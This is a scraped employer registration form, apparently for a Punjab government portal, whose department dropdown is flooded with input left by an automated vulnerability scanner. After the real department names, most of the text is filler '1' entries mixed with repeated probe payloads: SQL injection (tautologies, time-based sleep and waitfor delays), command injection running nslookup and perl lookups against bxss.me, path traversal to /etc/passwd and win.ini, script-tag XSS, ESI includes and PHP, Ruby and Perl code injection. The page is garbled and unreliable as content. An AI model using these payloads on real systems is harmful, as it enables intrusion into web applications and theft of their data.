__Employer Sign Up
Login
Login
Register
SW&BM
Verification
Name of Focal Person (فوکل پرسن کا نام)
Focal Person Designation (فوکل پرسن کا عہدہ)
Email (اى میل)
CNIC (سی این آئی سی)
Phone no (فون نمبر)
Please Enter Your Active Phone No.
Select Your Department اپنا محکمہ منتخب کریں۔
Select Your Department
Agriculture
Colonies
Communication and Works
Cooperatives Department
Energy Department
Environment Protection Department
Excise and Taxation Department
Finance Department
Food Department
Forestry, Wildlife and Fisheries Department
Health
Specialized Healthcare & Medical Education Department
Higher Education Department
Home Department
Housing, Urban Development and Public Health Engineering Department
Human Rights and Minorities Affairs Department
Industries, Commerce and Investment
Irrigation Department
Information and Culture
Labour and Human Resource Department
Law and Parliamentary Affairs Department
Livestock & Dairy Development Department
Local Government and Community Development Department
Management and Professional Development Department
Mines and Minerals Department
Planning and Development
Population Welfare Department
Public Prosecution Department
Disaster Management Department (DMD)
Revenue
School Education
Services and General Administration Department
Social Welfare and Bait-ul-Maal Department
Special Education Department
Transport Department
Youth Affairs, Sports, Archeology and Tourism Department
Women Development Department
Zakat and Ushr Department
Provincial Transport Authority
Technical Education and Vocational Training Authority
Special Initiatives, Chief Minister's Sectt.
Literacy & Non-Formal Basic Education Department
Ombudsman
Auqaf & Religious Affairs Department
(I&C) Services & General Administration Department
(Archives) Services & General Administration Department
Local Government and Community Development
I&C Wing, S&GAD
I&C
Archives & Libraries Wing, S&GAD
Sahiwal Teaching Hospital Sahiwal
Khawaj Muhammad Safdar Medical College, Sialkot
Service Hospital Lahore
Other
NIL
POF Wah Cantt
Nadra
social welfare & bait ul maal
Labour
studio
1
1
1
1
1
1
1
1
1
1
1
1
DHQ kasur
Pakistan Aeronautical Complex
Police
No
NH&mp
NH&mp
pepsicola
Pakistan meteorological department
Other
arid agricultural university rawalpindi
Civil
pakistan post office
Hearting lmpaired ( Deaf & Dumb )
Private
punjab
1
1
1gaD7cY4O
1
1
1
1
Hhq6xSLy
1
response.write(9299446*9008861)
1
1
1
'+response.write(9299446*9008861)+'
1
1
echo kpovsa$()\ agirph\nz^xyu||a #' &echo kpovsa$()\ agirph\nz^xyu||a #|" &echo kpovsa$()\ agirph\nz^xyu||a #
"+response.write(9299446*9008861)+"
1
1
&echo twygpm$()\ qtxepf\nz^xyu||a #' &echo twygpm$()\ qtxepf\nz^xyu||a #|" &echo twygpm$()\ qtxepf\nz^xyu||a #
1
1
|echo pcsxta$()\ nkfdrw\nz^xyu||a #' |echo pcsxta$()\ nkfdrw\nz^xyu||a #|" |echo pcsxta$()\ nkfdrw\nz^xyu||a #
1
1
1
1
1
(nslookup hithughqrriwz01d4f.bxss.me||perl -e "gethostbyname('hithughqrriwz01d4f.bxss.me')")
1
1
1
1
1
1
$(nslookup hitlyayafnoqjda276.bxss.me||perl -e "gethostbyname('hitlyayafnoqjda276.bxss.me')")
1
&(nslookup hitmzrpsryyeobc6df.bxss.me||perl -e "gethostbyname('hitmzrpsryyeobc6df.bxss.me')")&'\"`0&(nslookup hitmzrpsryyeobc6df.bxss.me||perl -e "gethostbyname('hitmzrpsryyeobc6df.bxss.me')")&`'
1
9mwgh6g0
1
-1 OR 2+493-493-1=0+0+0+1 --
|(nslookup hitsaupxmlnni157d2.bxss.me||perl -e "gethostbyname('hitsaupxmlnni157d2.bxss.me')")
1
1
1
1
-1 OR 2+50-50-1=0+0+0+1
`(nslookup hitoxmvbeeltr755b6.bxss.me||perl -e "gethostbyname('hitoxmvbeeltr755b6.bxss.me')")`
1
1
-1' OR 2+740-740-1=0+0+0+1 --
;(nslookup hitzzvxccavvh6ce90.bxss.me||perl -e "gethostbyname('hitzzvxccavvh6ce90.bxss.me')")|(nslookup hitzzvxccavvh6ce90.bxss.me||perl -e "gethostbyname('hitzzvxccavvh6ce90.bxss.me')")&(nslookup hit
1
1
-1' OR 2+861-861-1=0+0+0+1 or 'YZs7EZIE'='
1
1
1
1
1
-1" OR 2+79-79-1=0+0+0+1 --
1
1
if(now()=sysdate(),sleep(15),0)
1
1
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
-1; waitfor delay '0:0:15' --
1
-1); waitfor delay '0:0:15' --
1
1
1
../../../../../../../../../../../../../../etc/passwd
1 waitfor delay '0:0:15' --
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
O86xq9wf'; waitfor delay '0:0:15' --
1
1
1
1
1
-5 OR 605=(SELECT 605 FROM PG_SLEEP(15))--
../1
-5) OR 35=(SELECT 35 FROM PG_SLEEP(15))--
1
1
1
1
-1)) OR 309=(SELECT 309 FROM PG_SLEEP(15))--
1
1
1
myLdOGcZ' OR 594=(SELECT 594 FROM PG_SLEEP(15))--
1
1
1
1
1
sDn5xr7b') OR 569=(SELECT 569 FROM PG_SLEEP(15))--
1
1
1
1
e5hjUc2Y')) OR 816=(SELECT 816 FROM PG_SLEEP(15))--
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
12345'"\'\");|]* { < >
1
1'"
1
1
1
1
1
1
1
1
1
1
@@fMeEL
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999906+10000374}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1
1
1
1
1
1some_inexistent_file_with_long_name .jpg
1
1
1&n925847=v928474
Http://bxss.me/t/fit.txt
1
1
)
http://bxss.me/t/fit.txt?.jpg
1
1
1
!(()&&!|*|*|
1
bxss.me
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitgg'.'ouzznwxw408b7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(75).chr(121).chr(67).'
1
1
1
1
1
1
1
1
1
".gethostbyname(lc("hitat"."vbzcijdx2abf0.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(82).chr(108).chr(83)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
';print(md5(31337));$a='
1
1
1
";print(md5(31337));$a="
HttP://bxss.me/t/xss.html?%00
1
1
1
${@print(md5(31337))}
bxss.me/t/xss.html?%00
1
${@print(md5(31337))}\
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(110).concat(68).concat(111).concat(78)+(require"socket" Socket.gethostbyname("hitre"+"dcwowdgg692ed.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(114).concat(72).concat(111).concat(87)+(require'socket' Socket.gethostbyname('hiths'+'tqbbfwem52bf2.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
create
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
/xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >B002(9845)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
'"()&%<acx><ScRiPt >B002(9277)</ScRiPt>
1
1
1
1
1
1
1
1
19173210
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9397506*9531386)
1
1
'+response.write(9397506*9531386)+'
1
"+response.write(9397506*9531386)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
s4SJyTTk
1
1
-1 OR 2+324-324-1=0+0+0+1 --
1
1
-1 OR 2+670-670-1=0+0+0+1
1
echo vadlbw$()\ gphgha\nz^xyu||a #' &echo vadlbw$()\ gphgha\nz^xyu||a #|" &echo vadlbw$()\ gphgha\nz^xyu||a #
-1' OR 2+69-69-1=0+0+0+1 --
1
1
1
&echo hsmwiq$()\ lpcxbi\nz^xyu||a #' &echo hsmwiq$()\ lpcxbi\nz^xyu||a #|" &echo hsmwiq$()\ lpcxbi\nz^xyu||a #
-1' OR 2+347-347-1=0+0+0+1 or 'Q14LaCjX'='
1
1
|echo euyakg$()\ fjsubb\nz^xyu||a #' |echo euyakg$()\ fjsubb\nz^xyu||a #|" |echo euyakg$()\ fjsubb\nz^xyu||a #
-1" OR 2+161-161-1=0+0+0+1 --
1
1
1
(nslookup hitfdcbgxdjmpff43c.bxss.me||perl -e "gethostbyname('hitfdcbgxdjmpff43c.bxss.me')")
1
$(nslookup hitbryxxizkfs6b55d.bxss.me||perl -e "gethostbyname('hitbryxxizkfs6b55d.bxss.me')")
if(now()=sysdate(),sleep(15),0)
1
&(nslookup hitkudmoxznxv8dd2b.bxss.me||perl -e "gethostbyname('hitkudmoxznxv8dd2b.bxss.me')")&'\"`0&(nslookup hitkudmoxznxv8dd2b.bxss.me||perl -e "gethostbyname('hitkudmoxznxv8dd2b.bxss.me')")&`'
1
1
1
|(nslookup hititmierdkhxcab66.bxss.me||perl -e "gethostbyname('hititmierdkhxcab66.bxss.me')")
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
`(nslookup hitqqpfktgetr1d54c.bxss.me||perl -e "gethostbyname('hitqqpfktgetr1d54c.bxss.me')")`
1
;(nslookup hityogjjguuee6c859.bxss.me||perl -e "gethostbyname('hityogjjguuee6c859.bxss.me')")|(nslookup hityogjjguuee6c859.bxss.me||perl -e "gethostbyname('hityogjjguuee6c859.bxss.me')")&(nslookup hit
1
1
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
1
1
1
1
1
1
ikMHhJ4E'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
-5 OR 288=(SELECT 288 FROM PG_SLEEP(15))--
1
1
1
1
1
1
-5) OR 576=(SELECT 576 FROM PG_SLEEP(15))--
1
1
1
1
1
-1)) OR 383=(SELECT 383 FROM PG_SLEEP(15))--
1
1
1
1
1
1
LhNoKHja' OR 175=(SELECT 175 FROM PG_SLEEP(15))--
1
1
1
1
1
1
WBJclAl2') OR 248=(SELECT 248 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
xR6zSEo0')) OR 965=(SELECT 965 FROM PG_SLEEP(15))--
1
1
1
1
1
0AAXNDcn
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
../../../../../../../../../../../../../../etc/passwd
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
@@jXObZ
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999963+9999944}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1
1
1
1
1some_inexistent_file_with_long_name .jpg
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n969947=v969240
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
!(()&&!|*|*|
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitcx'.'bdgstafyea676.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(72).chr(106).chr(87).'
1
1
".gethostbyname(lc("hitix"."qglgbzyed9506.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(80).chr(106).chr(66)."
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
';print(md5(31337));$a='
1
1
1
";print(md5(31337));$a="
1
1
1
${@print(md5(31337))}
1
1
1
1
1
${@print(md5(31337))}\
1
1
'.print(md5(31337)).'
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(107).concat(86).concat(111).concat(76)+(require"socket" Socket.gethostbyname("hitzz"+"mayjwfwd043c6.bxss.me.")[3].to_s)+"
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(108).concat(87).concat(111).concat(82)+(require'socket' Socket.gethostbyname('hitrc'+'xgylncjjda851.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
create
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
/xfs.bxss.me
'"
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >KVrT(9164)</ScRiPt>
1
1
1
1
1
1
1
1
1
'"()&%<acx><ScRiPt >KVrT(9019)</ScRiPt>
1
1
1
1
1
1
1
19006487
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9044001*9964321)
'+response.write(9044001*9964321)+'
"+response.write(9044001*9964321)+"
1
1
echo ltcgha$()\ lormsc\nz^xyu||a #' &echo ltcgha$()\ lormsc\nz^xyu||a #|" &echo ltcgha$()\ lormsc\nz^xyu||a #
1
&echo xdaftd$()\ ddqvwy\nz^xyu||a #' &echo xdaftd$()\ ddqvwy\nz^xyu||a #|" &echo xdaftd$()\ ddqvwy\nz^xyu||a #
1
1
|echo hnvgrg$()\ vqeept\nz^xyu||a #' |echo hnvgrg$()\ vqeept\nz^xyu||a #|" |echo hnvgrg$()\ vqeept\nz^xyu||a #
1
1
(nslookup hitmpmpmfeyaif9096.bxss.me||perl -e "gethostbyname('hitmpmpmfeyaif9096.bxss.me')")
yw4vnZ2C
1
1
-1 OR 2+780-780-1=0+0+0+1 --
$(nslookup hituqmubeubes8eb9b.bxss.me||perl -e "gethostbyname('hituqmubeubes8eb9b.bxss.me')")
-1 OR 2+707-707-1=0+0+0+1
-1' OR 2+333-333-1=0+0+0+1 --
1
&(nslookup hitquoovostbj060e8.bxss.me||perl -e "gethostbyname('hitquoovostbj060e8.bxss.me')")&'\"`0&(nslookup hitquoovostbj060e8.bxss.me||perl -e "gethostbyname('hitquoovostbj060e8.bxss.me')")&`'
|(nslookup hitnpuhntltnkb619d.bxss.me||perl -e "gethostbyname('hitnpuhntltnkb619d.bxss.me')")
1
-1' OR 2+113-113-1=0+0+0+1 or 'bDUgIENz'='
1
`(nslookup hitwexnwyqomj38fab.bxss.me||perl -e "gethostbyname('hitwexnwyqomj38fab.bxss.me')")`
;(nslookup hitmmvhxmzpyl99a8b.bxss.me||perl -e "gethostbyname('hitmmvhxmzpyl99a8b.bxss.me')")|(nslookup hitmmvhxmzpyl99a8b.bxss.me||perl -e "gethostbyname('hitmmvhxmzpyl99a8b.bxss.me')")&(nslookup hit
-1" OR 2+907-907-1=0+0+0+1 --
1
1
if(now()=sysdate(),sleep(15),0)
1
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
-1; waitfor delay '0:0:15' --
1
1
1
-1); waitfor delay '0:0:15' --
1
1 waitfor delay '0:0:15' --
1
1
fZTEpN9f'; waitfor delay '0:0:15' --
1
1
1
1
-5 OR 933=(SELECT 933 FROM PG_SLEEP(15))--
1
1
-5) OR 625=(SELECT 625 FROM PG_SLEEP(15))--
1
1
1
1
1
-1)) OR 992=(SELECT 992 FROM PG_SLEEP(15))--
1
1
wZwZxI3v' OR 131=(SELECT 131 FROM PG_SLEEP(15))--
Wcq2nuyX') OR 796=(SELECT 796 FROM PG_SLEEP(15))--
1
1
8lXHNkwX')) OR 314=(SELECT 314 FROM PG_SLEEP(15))--
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
1
1
1
1
1
1
@@aTeQy
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
f5nASXcY
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
../../../../../../../../../../../../../../windows/win.ini
1
1
1
1
1
1
../1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999406+10000422}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1
1
1
1
1some_inexistent_file_with_long_name .jpg
1
1
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1&n944601=v926751
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)
1
1
!(()&&!|*|*|
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
'.gethostbyname(lc('hitru'.'xmaumlnm6fa50.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(83).chr(110).chr(76).'
1
1
1
1
".gethostbyname(lc("hitth"."eyvnkdwxd42e5.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(73).chr(118).chr(75)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
";print(md5(31337));$a="
1
1
1
${@print(md5(31337))}
1
1
1
${@print(md5(31337))}\
1
"+"A".concat(70-3).concat(22*4).concat(115).concat(66).concat(112).concat(83)+(require"socket" Socket.gethostbyname("hitkx"+"cqbpsrufdbe1d.bxss.me.")[3].to_s)+"
HttP://bxss.me/t/xss.html?%00
'.print(md5(31337)).'
1
'+'A'.concat(70-3).concat(22*4).concat(109).concat(83).concat(114).concat(74)+(require'socket' Socket.gethostbyname('hitjy'+'qncqcisr82ad1.bxss.me.')[3].to_s)+'
bxss.me/t/xss.html?%00
create
1
1
1
1
create
1
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
/xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
<!--
1
1
1'"()&%<acx><ScRiPt >omVg(9626)</ScRiPt>
1
1
1
1
1
1
1
1
1
'"()&%<acx><ScRiPt >omVg(9445)</ScRiPt>
1
1
1
1
1
1
19255654
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
